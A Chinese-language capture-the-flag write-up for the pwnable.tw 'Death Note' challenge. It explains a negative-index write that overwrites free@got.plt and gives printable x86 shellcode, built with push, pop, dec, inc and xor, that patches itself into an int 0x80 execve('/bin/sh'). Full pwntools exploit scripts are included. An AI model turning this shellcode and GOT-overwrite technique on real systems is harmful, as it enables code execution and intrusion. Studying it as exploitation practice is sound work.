0%

pwnable.tw writeup-Death Note

学习与收获

  1. 认识了三个汇编指令,
    dec:将操作数的值减去1。如,edx的值原来为0x30,执行dec edx后,edx的值变为0x2f
    inc:将操作数的值加上1。如,eax的值原来为0,执行inc eax后,eax的值变为0x1

    xor:将两个操作数的值进行异或。异或,两个二进制数,对应位异或,同为0,不同为1

  2. 对于32位的寄存器edxdl是其低8位,即最后1个字节;dh是其高8位,即第1个字节。

  3. 对于syscallint 0x80的不可见字符汇编代码编写,
    syscall的机器码是\x0f\x05int 0x80的机器码是\xCD\x80。这两个指令都是汇编指令,故其在内存中的存储形式是机器码。也就是说,如果0x08048020这个地址里,存储的数据是0x80cd,便可以理解为地址0x08048020存储着int 0x80这个指令。

整体思路

程序没有开pie保护,可能要用到shellcode。程序主要功能是实现chunk的创建,打印,删除。在创建chunk的时候,有一个索引越界漏洞,我们可以通过输入负数,覆盖note数组前面的内容为chunk_hook

通过以上方法,覆盖free@got.plt,为一个chunk_hook,该chunk_hook指向chunkuser_data。如果我们把shellcode布置在chunk中,那么在删除chunk的时候,便会执行shellcode

该题考察了关于可见字符shellcode的编写,不能使用movsyscallint 0x80等,我便学习用push,pop,dec,inc,xor来编写32位的execve的系统调用。

dec

汇编指令dec是”decrement”的缩写,意思是将操作数的值减去1。在汇编语言中,dec指令通常用于减少寄存器或内存位置中的数值。例如,如果有一个寄存器A的当前值为5,执行dec A后,寄存器A的值将变为4。

dec指令可以应用于不同的上下文和数据类型,具体行为可能因使用的CPU架构和汇编语言的变种而有所不同。在一些架构中,dec可能只影响无符号整数,而在其他架构中,它可能适用于有符号整数。使用时需要参考特定处理器的指令集架构(ISA)文档。

inc

汇编指令inc是”increment”的缩写,意思是将操作数的值增加1。这个指令通常用于寄存器或内存位置中的数值增加操作。

例如,如果有一个寄存器B的当前值为3,执行inc B后,寄存器B的值将变为4。

dec指令类似,inc的具体行为可能因使用的CPU架构和汇编语言的变种而有所不同。在某些架构中,inc可能只影响无符号整数,而在其他架构中,它可能适用于有符号整数。使用时同样需要参考特定处理器的指令集架构(ISA)文档。

shellcode

#execve("/bin/sh",0,0) eax = 11
#ebx,ecx,edx
/* 将'/bin//sh'的地址放到ebx中
push ebx
push 0x68732f2f
push 0x6e69622f
push esp
pop ebx
push edx
*/
dec edx #edx-1
dec edx
xor [eax+36], dl
xor [eax+37], dl
pop edx
/* eax = 11
push ecx
pop eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
*/

exp

本地

from tools import *
# p = process('./death_note')
p = remote("chall.pwnable.tw",10201)
debug(p,0x080489EF,0x080489FD)

def add(index,content):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter("Index :",str(index))
p.sendlineafter("Name :",content)
def delete(index):
p.sendlineafter("Your choice :",str(3))
p.sendlineafter("Index :",str(index))

shellcode = '''
push ebx
push 0x68732f2f
push 0x6e69622f
push esp
pop ebx
dec ecx
dec edx
dec edx
dec edx
dec edx
dec edx
dec edx
dec edx
dec edx
dec edx
inc edx
dec edx
xor [eax+56],dl
xor [eax+57],dl
pop edi
pop edi
pop eax
inc edx
inc edx
inc edx
inc edx
inc edx
inc edx
inc edx
inc edx
inc edx
inc edx
dec edx
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
'''
shellcode = asm(shellcode) + b'\x3a\x77'
add(-19,shellcode)
delete(-19)

p.interactive()

远程

from tools import *
# p = process('./death_note')
p = remote("chall.pwnable.tw",10201)
debug(p,0x080489EF)

def add(index,content):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter("Index :",str(index))
p.sendlineafter("Name :",content)
def delete(index):
p.sendlineafter("Your choice :",str(3))
p.sendlineafter("Index :",str(index))

shellcode = '''
push ebx
push 0x68732f2f
push 0x6e69622f
push esp
pop ebx
push edx
dec edx
dec edx
xor [eax+36], dl
xor [eax+37], dl
pop edx
push ecx
pop eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
inc eax
'''
shellcode = asm(shellcode) + b'\x33\x7e'
add(-19,shellcode)
delete(-19)

p.interactive()